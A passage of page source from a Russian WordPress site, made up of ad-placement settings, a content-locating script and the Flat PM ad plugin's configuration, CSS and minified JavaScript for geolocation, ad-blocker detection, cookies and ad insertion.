132            if (typeof obligatoryMargin==="undefined") {
133                var obligatoryMargin = 0;
134            }
135            
136            if (typeof tagsListForTextLength==="undefined") {
137                var tagsListForTextLength = ["P","H1","H2","H3","H4","H5","H6","DIV","BLOCKQUOTE","INDEX","ARTICLE","SECTION"];
138            }                        
139            blockSettingArray[cou1] = [];
140blockSettingArray[cou1]["minSymbols"] = 0;
141blockSettingArray[cou1]["maxSymbols"] = 0;
142blockSettingArray[cou1]["minHeaders"] = 0;
143blockSettingArray[cou1]["maxHeaders"] = 0;
144blockSettingArray[cou1]["id"] = '84'; 
145blockSettingArray[cou1]["sc"] = '0'; 
146blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337317\"></div>'; 
147blockSettingArray[cou1]["setting_type"] = 1; 
148blockSettingArray[cou1]["elementCss"] = "center"; 
149blockSettingArray[cou1]["element"] = "p"; 
150blockSettingArray[cou1]["elementPosition"] = 1; 
151blockSettingArray[cou1]["elementPlace"] = 1; 
152cou1++;
153blockSettingArray[cou1] = [];
154blockSettingArray[cou1]["minSymbols"] = 0;
155blockSettingArray[cou1]["maxSymbols"] = 0;
156blockSettingArray[cou1]["minHeaders"] = 0;
157blockSettingArray[cou1]["maxHeaders"] = 0;
158blockSettingArray[cou1]["id"] = '85'; 
159blockSettingArray[cou1]["sc"] = '0'; 
160blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337318\"></div>'; 
161blockSettingArray[cou1]["setting_type"] = 7; 
162blockSettingArray[cou1]["elementCss"] = "center"; 
163blockSettingArray[cou1]["elementPlace"] = 1200; 
164cou1++;
165blockSettingArray[cou1] = [];
166blockSettingArray[cou1]["minSymbols"] = 0;
167blockSettingArray[cou1]["maxSymbols"] = 0;
168blockSettingArray[cou1]["minHeaders"] = 0;
169blockSettingArray[cou1]["maxHeaders"] = 0;
170blockSettingArray[cou1]["id"] = '86'; 
171blockSettingArray[cou1]["sc"] = '0'; 
172blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337319\"></div>'; 
173blockSettingArray[cou1]["setting_type"] = 7; 
174blockSettingArray[cou1]["elementCss"] = "center"; 
175blockSettingArray[cou1]["elementPlace"] = 2400; 
176cou1++;
177blockSettingArray[cou1] = [];
178blockSettingArray[cou1]["minSymbols"] = 0;
179blockSettingArray[cou1]["maxSymbols"] = 0;
180blockSettingArray[cou1]["minHeaders"] = 0;
181blockSettingArray[cou1]["maxHeaders"] = 0;
182blockSettingArray[cou1]["id"] = '87'; 
183blockSettingArray[cou1]["sc"] = '0'; 
184blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337320\"></div>'; 
185blockSettingArray[cou1]["setting_type"] = 7; 
186blockSettingArray[cou1]["elementCss"] = "center"; 
187blockSettingArray[cou1]["elementPlace"] = 3600; 
188cou1++;
189blockSettingArray[cou1] = [];
190blockSettingArray[cou1]["minSymbols"] = 0;
191blockSettingArray[cou1]["maxSymbols"] = 0;
192blockSettingArray[cou1]["minHeaders"] = 0;
193blockSettingArray[cou1]["maxHeaders"] = 0;
194blockSettingArray[cou1]["id"] = '88'; 
195blockSettingArray[cou1]["sc"] = '0'; 
196blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337324\"></div>'; 
197blockSettingArray[cou1]["setting_type"] = 4; 
198blockSettingArray[cou1]["elementCss"] = "center"; 
199cou1++;
200blockSettingArray[cou1] = [];
201blockSettingArray[cou1]["minSymbols"] = 0;
202blockSettingArray[cou1]["maxSymbols"] = 0;
203blockSettingArray[cou1]["minHeaders"] = 0;
204blockSettingArray[cou1]["maxHeaders"] = 0;
205blockSettingArray[cou1]["id"] = '89'; 
206blockSettingArray[cou1]["sc"] = '0'; 
207blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337325\"></div>'; 
208blockSettingArray[cou1]["setting_type"] = 4; 
209blockSettingArray[cou1]["elementCss"] = "center"; 
210cou1++;
211blockSettingArray[cou1] = [];
212blockSettingArray[cou1]["minSymbols"] = 0;
213blockSettingArray[cou1]["maxSymbols"] = 0;
214blockSettingArray[cou1]["minHeaders"] = 0;
215blockSettingArray[cou1]["maxHeaders"] = 0;
216blockSettingArray[cou1]["id"] = '90'; 
217blockSettingArray[cou1]["sc"] = '0'; 
218blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337326\"></div>'; 
219blockSettingArray[cou1]["setting_type"] = 3; 
220blockSettingArray[cou1]["elementCss"] = "center"; 
221blockSettingArray[cou1]["element"] = "p"; 
222blockSettingArray[cou1]["directElement"] = ".following-post"; 
223blockSettingArray[cou1]["elementPosition"] = 1; 
224blockSettingArray[cou1]["elementPlace"] = 1; 
225cou1++;
226blockSettingArray[cou1] = [];
227blockSettingArray[cou1]["minSymbols"] = 0;
228blockSettingArray[cou1]["maxSymbols"] = 0;
229blockSettingArray[cou1]["minHeaders"] = 0;
230blockSettingArray[cou1]["maxHeaders"] = 0;
231blockSettingArray[cou1]["id"] = '91'; 
232blockSettingArray[cou1]["sc"] = '0'; 
233blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337330\"></div>'; 
234blockSettingArray[cou1]["setting_type"] = 4; 
235blockSettingArray[cou1]["elementCss"] = "default"; 
236cou1++;
237blockSettingArray[cou1] = [];
238blockSettingArray[cou1]["minSymbols"] = 0;
239blockSettingArray[cou1]["maxSymbols"] = 0;
240blockSettingArray[cou1]["minHeaders"] = 0;
241blockSettingArray[cou1]["maxHeaders"] = 0;
242blockSettingArray[cou1]["id"] = '92'; 
243blockSettingArray[cou1]["sc"] = '0'; 
244blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337331\"></div>'; 
245blockSettingArray[cou1]["setting_type"] = 4; 
246blockSettingArray[cou1]["elementCss"] = "default"; 
247cou1++;
248blockSettingArray[cou1] = [];
249blockSettingArray[cou1]["minSymbols"] = 0;
250blockSettingArray[cou1]["maxSymbols"] = 0;
251blockSettingArray[cou1]["minHeaders"] = 0;
252blockSettingArray[cou1]["maxHeaders"] = 0;
253blockSettingArray[cou1]["id"] = '93'; 
254blockSettingArray[cou1]["sc"] = '0'; 
255blockSettingArray[cou1]["text"] = '<div class=\"rl_cnt_bg\" data-id=\"337333\"></div>'; 
256blockSettingArray[cou1]["setting_type"] = 1; 
257blockSettingArray[cou1]["elementCss"] = "default"; 
258blockSettingArray[cou1]["element"] = "p"; 
259blockSettingArray[cou1]["elementPosition"] = 0; 
260blockSettingArray[cou1]["elementPlace"] = 1; 
261cou1++;
262console.log("bsa-l: "+blockSettingArray.length);
263</script>
263<script>
264    if (typeof window.jsInputerLaunch === 'undefined') {
265        window.jsInputerLaunch = -1;
266    }
267    if (typeof contentSearchCount === 'undefined') {
268        var contentSearchCount = 0;
269    }
270    if (typeof launchAsyncFunctionLauncher === "undefined") {
271        function launchAsyncFunctionLauncher() {
272            if (typeof asyncFunctionLauncher !== "undefined" && typeof asyncFunctionLauncher === "function") {
273                asyncFunctionLauncher();
274            } else {
275                setTimeout(function () {
276                    launchAsyncFunctionLauncher();
277                }, 100)
278            }
279        }
280    }
281    if (typeof launchGatherContentBlock === "undefined") {
282        function launchGatherContentBlock() {
283            if (typeof gatherContentBlock !== "undefined" && typeof gatherContentBlock === "function") {
284                gatherContentBlock();
285            } else {
286                setTimeout(function () {
287                    launchGatherContentBlock();
288                }, 100)
289            }
290        }
291    }
292    function contentMonitoring() {
293        if (typeof window.jsInputerLaunch==='undefined'||(typeof window.jsInputerLaunch!=='undefined'&&window.jsInputerLaunch==-1)) {
294            let possibleClasses = ['.taxonomy-description','.entry-content','.post-wrap','.post-body','#blog-entries','.content','.archive-posts__item-text','.single-company_wrapper','.posts-container','.content-area','.post-listing','.td-category-description','.jeg_posts_wrap'];
295            let deniedClasses = ['.percentPointerClass','.addedInserting','#toc_container'];
296            let deniedString = "";
297            let contentSelector = '';
298            let contentCheck = null;
299            if (contentSelector) {
300                contentCheck = document.querySelector(contentSelector);
301            }
302
303            if (block_classes && block_classes.length > 0) {
304                for (var i = 0; i < block_classes.length; i++) {
305                    if (block_classes[i]) {
306                        deniedClasses.push('.' + block_classes[i]);
307                    }
308                }
309            }
310
311            if (deniedClasses&&deniedClasses.length > 0) {
312                for (let i = 0; i < deniedClasses.length; i++) {
313                    deniedString += ":not("+deniedClasses[i]+")";
314                }
315            }
316            
317            if (!contentCheck) {
318                for (let i = 0; i < possibleClasses.length; i++) {
319                    contentCheck = document.querySelector(possibleClasses[i]+deniedString);
320                    if (contentCheck) {
321                        break;
322                    }
323                }
324            }
325            if (!contentCheck) {
326                contentCheck = document.querySelector('[itemprop=articleBody]');
327            }
328            if (contentCheck) {
329                console.log('content is here');
330                let contentPointerCheck = document.querySelector('#content_pointer_id');
331                let cpSpan
332                if (contentPointerCheck && contentCheck.contains(contentPointerCheck)) {
333                    cpSpan = contentPointerCheck;
334                } else {
335                    if (contentPointerCheck) {
336                        contentPointerCheck.parentNode.removeChild(contentPointerCheck);
337                    }
338                    cpSpan = document.createElement('SPAN');                    
339                }
340                cpSpan.setAttribute('id', 'content_pointer_id');
341                cpSpan.classList.add('no-content');
342                cpSpan.setAttribute('data-content-length', '0');
343                cpSpan.setAttribute('data-accepted-blocks', '84,85,86,87,88,89,90,91,92,93');
344                cpSpan.setAttribute('data-rejected-blocks', '0');
345                window.jsInputerLaunch = 10;
346                
347                if (!cpSpan.parentNode) contentCheck.prepend(cpSpan);
348                
349                launchAsyncFunctionLauncher();
350                launchGatherContentBlock();
351            } else {
352                console.log('contentMonitoring try');
353                if (document.readyState === "complete") contentSearchCount++;
354                if (contentSearchCount < 20) {
355                    setTimeout(function () {
356                        contentMonitoring();
357                    }, 200);
358                } else {
359                    contentCheck = document.querySelector("body"+
359deniedString+" div"+deniedString);
360                    if (contentCheck) {
361                        console.log('content is here hard');
362                        let cpSpan = document.createElement('SPAN');
363                        cpSpan.setAttribute('id', 'content_pointer_id');
364                        cpSpan.classList.add('no-content');
365                        cpSpan.classList.add('hard-content');
366                        cpSpan.setAttribute('data-content-length', '0');
367                        cpSpan.setAttribute('data-accepted-blocks', '84,85,86,87,88,89,90,91,92,93');
368                        cpSpan.setAttribute('data-rejected-blocks', '0');
369                        window.jsInputerLaunch = 10;
370                        
371                        contentCheck.prepend(cpSpan);
372                        launchAsyncFunctionLauncher();
373                    }   
374                }
375            }
376        } else {
377            console.log('jsInputerLaunch is here');
378            launchGatherContentBlock();
379        }
380    }
381    contentMonitoring();
382</script>
382<!--noptimize-->
382<script data-noptimize="" data-wpfc-render="false">
383window.fpm_settings = {"timer_text":"\u0417\u0430\u043a\u0440\u044b\u0442\u044c \u0447\u0435\u0440\u0435\u0437","lazyload":"false","threshold":"300","dublicate":"false","rtb":"false","sidebar":"false","selector":".fpm_end","bottom":"10","ajaxUrl":"https:\/\/etopolezno.com\/wp-admin\/admin-ajax.php","ip_to_block":"https:\/\/etopolezno.com\/ip.html","get_ip":"https:\/\/etopolezno.com\/wp-content\/plugins\/flatpm-wp\/ip.php","speed":"300","overlay":"false","locale":"ru","key":"U2R1elQ1TzNENElVcTF6","role":"not_logged_in"};
384</script>
384
385<!--/noptimize--><!--noptimize-->
386<noscript data-noptimize id="fpm_modul">
387<style>
388html{max-width:100vw}
389.fpm-async:not([data-fpm-type="outgoing"]) + .fpm-async:not([data-fpm-type="outgoing"]){display:none}
390[data-fpm-type]{background-color:transparent;transition:background-color .2s ease}
391[data-fpm-type]{position:relative;overflow:hidden;border-radius:3px;z-index:0}
392.fpm-cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#7ca1d1;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0}
393.fpm-cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset}
394.fpm-cross:after,
395.fpm-cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto}
396.fpm-cross:before{transform:rotate(-45deg)}
397.fpm-cross:hover:after{transform:rotate(225deg)}
398.fpm-cross:hover:before{transform:rotate(135deg)}
399.fpm-timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#7ca1d1;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99}
400[data-fpm-type="outgoing"].center .fpm-timer,[data-fpm-type="outgoing"].center .fpm-cross{top:0!important}
401.fpm-timer span{font-size:16px;font-weight:600}
402[data-fpm-type="outgoing"]{transition:transform 300ms ease,opacity 300ms ease,min-width 0s;transition-delay:0s,0s,.3s;position:fixed;min-width:250px!important;z-index:9999;opacity:0;background:#ffffff;pointer-events:none;will-change:transform;overflow:visible;max-width:100vw}
403[data-fpm-type="outgoing"]:after{content:'';position:absolute;top:0;left:0;right:0;bottom:0;z-index:1;pointer-events:all}
404[data-fpm-type="outgoing"].fpm-show:after{pointer-events:none}
405
406
407[data-fpm-type="outgoing"] *{max-width:none}
408
409[data-fpm-type="outgoing"].left-top [id*="yandex_rtb_"],
410[data-fpm-type="outgoing"].right-top [id*="yandex_rtb_"],
411[data-fpm-type="outgoing"].left-center [id*="yandex_rtb_"],
412[data-fpm-type="outgoing"].right-center [id*="yandex_rtb_"],
413[data-fpm-type="outgoing"].left-bottom [id*="yandex_rtb_"],
414[data-fpm-type="outgoing"].right-bottom [id*="yandex_rtb_"]{max-width:336px;min-width:160px}
415
416[data-fpm-type].no-preloader:after,[data-fpm-type].no-preloader:before,
417[data-fpm-type="outgoing"]:after,[data-fpm-type="outgoing"]:before{display:none}
418
419[data-fpm-type="outgoing"].fpm-show{opacity:1;pointer-events:all;min-width:0!important}
420
421[data-fpm-type="outgoing"].center{position:fixed;top:50%;left:50%;height:auto;z-index:-2;opacity:0;transform:translateX(-50%) translateY(-50%) scale(.6)}
422[data-fpm-type="outgoing"].center.fpm-show{transform:translateX(-50%) translateY(-50%) scale(1);opacity:1}
423[data-fpm-type="outgoing"].center.fpm-show{z-index:2000}
424
425[data-fpm-type="outgoing"].left-top{top:0;left:0;transform:translateX(-100%)}
426[data-fpm-type="outgoing"].top-center{top:0;left:50%;transform:translateX(-50%) translateY(-100%)}
427[data-fpm-type="outgoing"].right-top{top:0;right:0;transform:translateX(100%)}
428[data-fpm-type="outgoing"].left-center{top:50%;left:0;transform:translateX(-100%) translateY(-50%)}
429[data-fpm-type="outgoing"].right-center{top:50%;right:0;transform:translateX(100%) translateY(-50%)}
430[data-fpm-type="outgoing"].left-bottom{bottom:0;left:0;transform:translateX(-100%)}
431[data-fpm-type="outgoing"].bottom-center{bottom:0;left:50%;transform:translateX(-50%) translateY(100%)}
432[data-fpm-type="outgoing"].right-bottom{bottom:0;right:0;transform:translateX(100%)}
433[data-fpm-type="outgoing"].fpm-show.left-center,
434[data-fpm-type="outgoing"].fpm-show.right-center{transform:translateX(0) translateY(-50%)}
435[data-fpm-type="outgoing"].fpm-show.top-center,
436[data-fpm-type="outgoing"].fpm-show.bottom-center{transform:translateX(-50%) translateY(0)}
437[data-fpm-type="outgoing"].fpm-show.left-top,
438[data-fpm-type="outgoing"].fpm-show.right-top,
439[data-fpm-type="outgoing"].fpm-show.left-bottom,
440[data-fpm-type="outgoing"].fpm-show.right-bottom{transform:translateX(0)}
441
442.fpm-overlay{position:fixed;width:100%;height:100%;pointer-events:none;top:0;left:0;z-index:1000;opacity:0;background:#0000008a;transition:all 300ms ease;-webkit-backdrop-filter:blur(0px);backdrop-filter:blur(0px)}
443[data-fpm-type="outgoing"].center.fpm-show ~ .fpm-overlay{opacity:1;pointer-events:all}
444.fpm-fixed{position:fixed;z-index:50}
445.fpm-stop{position:relative;z-index:50}
446.fpm-preroll{position:relative;overflow:hidden;display:block}
447.fpm-preroll.hasIframe{padding-bottom:56.25%;height:0}
448.fpm-preroll iframe{display:block;width:100%;height:100%;position:absolute}
449.fpm-preroll_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease;z-index:2}
450.fpm-preroll_flex.fpm-show{opacity:1}
451.fpm-preroll_flex.fpm-hide{pointer-events:none;z-index:-1}
452.fpm-preroll_item{position:relative;max-width:calc(100% - 68px);max-height:100%;z-index:-1;pointer-events:none;cursor:default}
453.fpm-preroll_flex.fpm-show .fpm-preroll_item{z-index:3;pointer-events:all}
454.fpm-preroll_flex .fpm-timer,
455.fpm-preroll_flex .fpm-cross{top:10px!important;right:10px!important}
456.fpm-preroll_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;z-index:2}
457.fpm-preroll_flex:not(.fpm-show) .fpm-preroll_hover{cursor:pointer}
458.fpm-hoverroll{position:relative;overflow:hidden;display:block}
459.fpm-hoverroll_item{position:absolute;bottom:0;left:50%;margin:auto;transform:translateY(100%) translateX(-50%);transition:all 300ms ease;z-index:1000;max-height:100%}
460
461.fpm-preroll_item [id*="yandex_rtb_"],
462.fpm-hoverroll_item [id*="yandex_rtb_"]{min-width:160px}
463
464.fpm-hoverroll:hover .fpm-hoverroll_item:not(.fpm-hide){transform:translateY(0) translateX(-50%)}
465.fpm-slider{display:grid}
466.fpm-slider > *{grid-area:1/1;margin:auto;opacity:0;transform:translateX(200px);transition:all 420ms ease;pointer-events:none;width:100%;z-index:0}
467.fpm-slider > *.fpm-hide{transform:translateX(-100px)!important;opacity:0!important;z-index:0!important}
468.fpm-slider > *.fpm-show{transform:translateX(0);pointer-events:all;opacity:1;z-index:1}
469.fpm-slider .fpm-timeline{width:100%;height:2px;background:#f6f5ff;position:relative}
470.fpm-slider .fpm-timeline:after{content:'';position:absolute;background:#d5ceff;height:100%;transition:all 300ms ease;width:0}
471.fpm-slider > *.fpm-show .fpm-timeline:after{animation:timeline var(--duration) ease}
472.fpm-slider > *:hover .fpm-timeline:after{animation:timeline-hover}
473.fpm-slider > *:after{content:'';position:absolute;top:0;left:0;right:0;bottom:0;z-index:1;pointer-events:all}
474.fpm-slider > *.fpm-show:after{pointer-events:none}
475@keyframes timeline-hover{}
476@keyframes timeline{0% {width:0}100% {width:100%}}
477.fpm-interscroller-wrapper{position:relative;width:100%;max-width:100%;height:var(--height)}
478.fpm-interscroller{position:absolute;top:0;left:0;width:100%;height:100%;clip:rect(0,auto,auto,0);background:var(--background)}
479.fpm-interscroller + div{position:absolute;bottom:0;left:0;right:0;top:0;margin:auto;display:block;height:1px}
480.fpm-interscroller-inner{position:fixed;top:50%;transform:translate(0,-50%);max-width:100%;display:flex;justify-content:center;align-items:center;width:var(--width)}
481.fpm-interscroller-inner > div{min-width:100px;min-height:100px}
482.fpm-interscroller-text{position:absolute;text-align:center;padding:10px;background:var(--background);color:var(--color);font-size:14px;z-index:1;line-height:1.4}
483.fpm-interscroller-text.top{top:0;left:0;right:0}
484.fpm-interscroller-text.bottom{bottom:0;left:0;right:0}
485</style>
486</noscript>
487<!--/noptimize-->
488
489
490<!--noptimize-->
491<script data-noptimize="" data-wpfc-render="false">
492fpm_settings.selector="true"===fpm_settings.sidebar?fpm_settings.selector:".fpm_end",!NodeList.prototype.forEach&&Array.prototype.forEach&&(NodeList.prototype.forEach=Array.prototype.forEach),window.yaContextCb=window.yaContextCb||[],window.fpm_shuffleArray=function(e){for(var t=e.length-1;0<t;t--){var r=Math.floor(Math.random()*(t+1)),n=e[t];e[t]=e[r],e[r]=n}return e},window.fpm_queryAll=function(e,t,r){try{r=r||"true",r="true"===r;var n=!1;["!>","!","!^","!~","!+",":after(",":after-sibling(",":before(",":before-sibling(",":contains(",":icontains(",":starts-with(",":istarts-with(",":ends-with(",":iends-with(",":first(",":has(",":has-sibling("].forEach(function(t){if(e.includes(t))return void(n=!0)});var o=[];if(n){if(!t)return[];for(var l=document.evaluate(t,document,null,XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,null),s=0,a=l.snapshotLength;s<a;s++)o.push(l.snapshotItem(s))}else o=Array.from(document.querySelectorAll(e));return r||(o=o.filter(function(e){return fpm_user.until_child.includes(e)})),o}catch(t){return fpm_user.debug&&console.log(t),[]}},window.fpm_debug=function(e,t){fpm_user.debug&&(t=t||"the reason is not established",console.log("%cID: "+e,"color: white; background: #ec5555"),console.log("URL: "+window.fpm_settings.ajaxUrl.replace("admin-ajax.php","")+"admin.php?page=fpm_blocks&id="+e),console.log("Reason: "+t),console.log("=".repeat(27)))},window.fpm_ipv6Normalize=function(e){e=e.toLowerCase();var t=e.split(/\:\:/g);if(2<t.length)return!1;var r=[];if(1===t.length){if(r=e.split(/\:/g),8!==r.length)return!1;}else if(2===t.length){var o=t[0],n=t[1],l=o.split(/\:/g),s=n.split(/\:/g);for(var a in l)r[a]=l[a];for(var a=s.length;0<a;--a)r[7-(s.length-a)]=s[a-1]}for(var a=0;8>a;++a)void 0===r[a]&&(r[a]="0000"),r[a]=fpm_ipv6LeftPad(r[a],"0",4);return r.join(":")},window.fpm_ipv6LeftPad=function(e,t,r){var n=t.repeat(r);return e.length<n.length&&(e=n.substring(0,n.length-e.length)+e),e},window.fpm_ipToInt=function(e){var t=[];return e.includes(":")?(fpm_ipv6Normalize(e).split(":").forEach(function(e){t.push(parseInt(e,16).toString(2).padStart(16,"0"))}),"function"==typeof window.BigInt&&BigInt(t.join(""),2)):(e.split(".").forEach(function(e){t.push(e.padStart(3,"0"))}),parseInt(t.join("")))},window.fpm_request_ip_api=function(){var e=new Promise(function(e){var t=new XMLHttpRequest;t.onreadystatechange=function(){t.readyState==XMLHttpRequest.DONE&&e(t.responseText)},t.open("GET","https://pro.ip-api.com/json/?key="+atob(fpm_settings.key)+"&lang="+fpm_settings.locale,!0),t.send()}),t=new Promise(function(e,t){var r=new XMLHttpRequest;r.onreadystatechange=function(){r.readyState==XMLHttpRequest.DONE&&(200==r.status?e(r.responseText):t({url:fpm_settings.ip_to_block,status:r.status,statusText:r.statusText}))},r.open("GET",fpm_settings.ip_to_block,!0),r.send()});Promise.all([e,t]).then(function(e){var t=JSON.parse(e[0]),r=e[1].split("\n").filter(Boolean);fpm_body.classList.remove("fpm_geo"),fpm_user.ccode=t.countryCode.toLowerCase(),fpm_user.country=t.country.toLowerCase(),fpm_user.city=t.city.toLowerCase(),fpm_user.isp=t.isp.toLowerCase(),fpm_setCookie("fpm_ccode",fpm_user.ccode),fpm_setCookie("fpm_country",fpm_user.country),fpm_setCookie("fpm_city",fpm_user.city),fpm_setCookie("fpm_isp",fpm_user.isp),fpm_user.ip="true",0<r.length?new Promise(function(e,t){var r=new XMLHttpRequest;r.onreadystatechange=function(){r.readyState==XMLHttpRequest.DONE&&(200==r.status?e(r.responseText):t({url:fpm_settings.get_ip,status:r.status,statusText:r.statusText}))},r.open("GET",fpm_settings.get_ip,!0),r.send()}).then(function(e){e=fpm_ipToInt(e),r.find(function(t){if(t.includes("-")){var r=t.split("-"),n=fpm_ipToInt(r[0].trim()),i=fpm_ipToInt(r[1].trim());if(e<=i&&n<=e)return fpm_user.ip="false",!0}else if(fpm_ipToInt(t.trim())==e)return fpm_user.ip="false",!0;return!1}),fpm_user.testcook&&fpm_setCookie("fpm_ip",fpm_user.ip),fpm_async_then("ip_api")}):(fpm_user.testcook&&fpm_setCookie("fpm_ip",fpm_user.ip),fpm_async_then("ip_api"))})},window.fpm_on=function(e,t,r,n,i){i=i||!1,e.addEventListener(t,function(i){for(var e=i.target;e&&e!==this;)e.matches(r)&&n.call(e,i),e=e.parentNode},{once:i})},window.fpm_contentsUnwrap=function(e){for(var t=e.parentNode;e.firstChild;)t.insertBefore(e.firstChild,e);t.removeChild(e)},window.fpm_wrap=function(e,t){e.parentNode.insertBefore(t,e),t.appendChild(e)},window.fpm_until=function(e,t,r,n){n=n||"nextElementSibling";var i=[];if(!e)return i;for(i.push(e),e=e[n];e&&(i.push(e),!e.matches(t));){if(r&&!e.matches(r)){e=e[n];continue}e=e[n]}return i},window.fpm_findSelector=function(e,t){e=e||[];var r=[];return t?(e.forEach(function(e){e.matches(t)&&r.push(e);var n=e.querySelectorAll(t);n&&0<n.length&&(r=r.concat([...n]))}),r):r},window.fpm_toNodeList=function(e){var t=document.createDocumentFragment();return e.forEach(function(e){t.appendChild(e.cloneNode())}),t},window.fpm_jsonp=function(e,t){var r="jsonp_callback_"+Math.round(1e5*Math.random());window[r]=function(e){delete window[r],fpm_body.removeChild(n),t(e)};var n=document.createElement("script");n.src=e+(0<=e.indexOf("?")?"&":"?")+"callback="+r,fpm_body.appendChild(n)},window.flatPM_serialize=function(e,t){var r,n=[];for(r in e)if(e.hasOwnProperty(r)){var i=t?t+"["+r+"]":r,o=e[r];n.push(null!==o&&"object"==typeof o?flatPM_serialize(o,i):encodeURIComponent(i)+"="+encodeURIComponent(o))}return n.join("&")},document.write=function(e){var t=document.createElement("div");document.currentScript.insertAdjacentElement("afterend",t),fpm_setHTML(t,e),fpm_stack_scripts.block||(fpm_stack_scripts.block=!0,fpm_setSCRIPT()),fpm_contentsUnwrap(t)},window.fpm_sticky=function(e,t,r){function n(){if(null==a){for(var e=getComputedStyle(o,""),r="",n=0;n<e.length;n++)(0==e[n].indexOf("overflow")||0==e[n].indexOf("padding")||0==e[n].indexOf("border")||0==e[n].indexOf("outline")||0==e[n].indexOf("box-shadow")||0==e[n].indexOf("background"))&&(r+=e[n]+": "+e.getPropertyValue(e[n])+"; ");a=document.createElement("div"),a.style.cssText=r+" box-sizing: border-box; width: "+o.offsetWidth+"px;",o.insertBefore(a,o.firstChild);for(var p=o.childNodes.length,n=1;n<p;n++)a.appendChild(o.childNodes[1]);o.style.padding="0",o.style.border="0"}o.style.height=a.getBoundingClientRect().height+"px";var l=o.getBoundingClientRect(),c=Math.round(l.top+a.getBoundingClientRect().height-t.getBoundingClientRect().bottom);0>=l.top-d?l.top-d<=c?(a.className=fpm_attr.stop,a.style.top=-c+"px"):(a.className=fpm_attr.fixed,a.style.top=d+"px"):(a.className="",a.style.top=""),window.addEventListener("resize",function(){o.children[0].style.width=getComputedStyle(o,"").width},!1)}r=r||0;var o=e,a=null,d=r;window.addEventListener("scroll",n,!1),fpm_body.addEventListener("scroll",n,!1),n()}
492,window.fpm_addDays=function(e,r){var n,i=1e3*(60*e.getTimezoneOffset()),o=e.getTime(),l=new Date;if(o+=86400000*r,l.setTime(o),n=1e3*(60*l.getTimezoneOffset()),i!=n){var s=n-i;o+=s,l.setTime(o)}return l},window.fpm_adbDetect=function(){var r=document.createElement("div");r.id="yandex_rtb_",r.classList.add("adsbygoogle"),r.setAttribute("data-tag","flat_pm"),r.style="position:absolute;left:-9999px;top:-9999px",r.innerHTML="Adblock<br>detector",fpm_body.insertAdjacentElement("afterbegin",r);var n=document.querySelector("#yandex_rtb_.adsbygoogle[data-tag=\"flat_pm\"]");if(!n)return!0;var e=n.currentStyle||window.getComputedStyle(n,"");return e=parseInt(e.height),r.remove(),!!(isNaN(e)||0==e)},window.fpm_setCookie=function(e,t,r){r=r||{path:"/"};var n=r.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),n=r.expires=i}n&&n.toUTCString&&(r.expires=n.toUTCString()),t=encodeURIComponent(t);var o=e+"="+t;for(var l in r){o+="; "+l;var s=r[l];!0!==s&&(o+="="+s)}document.cookie=o},window.fpm_getCookie=function(e){var t=document.cookie.split("; ").reduce(function(t,r){var n=r.split("=");return n[0]===e?decodeURIComponent(n[1]):t},"");return""==t?void 0:t},window.flatPM_testCookie=function(){try{return localStorage.setItem("test_56445","test_56445"),localStorage.removeItem("test_56445"),!0}catch(t){return!1}},window.fpm_randomString=function(e){for(var t="",r="abcdefghijklmnopqrstuvwxyz",n=r.length,o=0;o<e;o++)t+=r.charAt(Math.floor(Math.random()*n));return t},window.fpm_randomProperty=function(e){var t=Object.keys(e);return t[Math.floor(Math.random()*t.length)]},window.fpm_random=function(e,t){return Math.floor(Math.random()*(t-e+1))+e},window.flatPM_sanitizeUrlParams=function(e){return e&&["__proto__","constructor","prototype"].includes(e.toLowerCase())?e.toUpperCase():e},window.fpm_getUrlParams=function(e){var t={};e=e||window.location.href,e=flatPM_sanitizeUrlParams(e);var r=e?e.split("?")[1]:window.location.search.slice(1);if(r){r=r.split("#")[0];for(var n=r.split("&"),o=0;o<n.length;o++){var l=n[o].split("="),s=l[0],a="undefined"==typeof l[1]||l[1];if(s=s.toLowerCase(),"string"==typeof a&&(a=a.toLowerCase()),s.match(/\[(\d+)?\]$/)){var d=s.replace(/\[(\d+)?\]/,"");if(t[d]||(t[d]=[]),s.match(/\[\d+\]$/)){var p=/\[(\d+)\]/.exec(s)[1];t[d][p]=a}else t[d].push(a)}else t[s]?t[s]&&"string"==typeof t[s]?(t[s]=[t[s]],t[s].push(a)):t[s].push(a):t[s]=a}}return t},window.fpm_dynamicInterval=function(e,t,r,n,i){t.autorefresh&&"0"!==t.autorefresh&&setTimeout(function(){e.innerHTML="",i++,i>=n&&(i=0),t=r[i],fpm_pre_setHTML(e,t.code),fpm_dynamicInterval(e,t,r,n,i)},1e3*t.autorefresh)},flatPM_testCookie()&&fpm_setCookie("fpm_visit",(parseInt(fpm_getCookie("fpm_visit"))||0)+1);window.fpm_stack_scripts={scripts:[],block:!1},window.fpm_base64test=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,window.fpm_then={ip_api:[],load:[]},window.fpm_titles="h1,h2,h3,h4,h5,h6",window.fpm_date=new 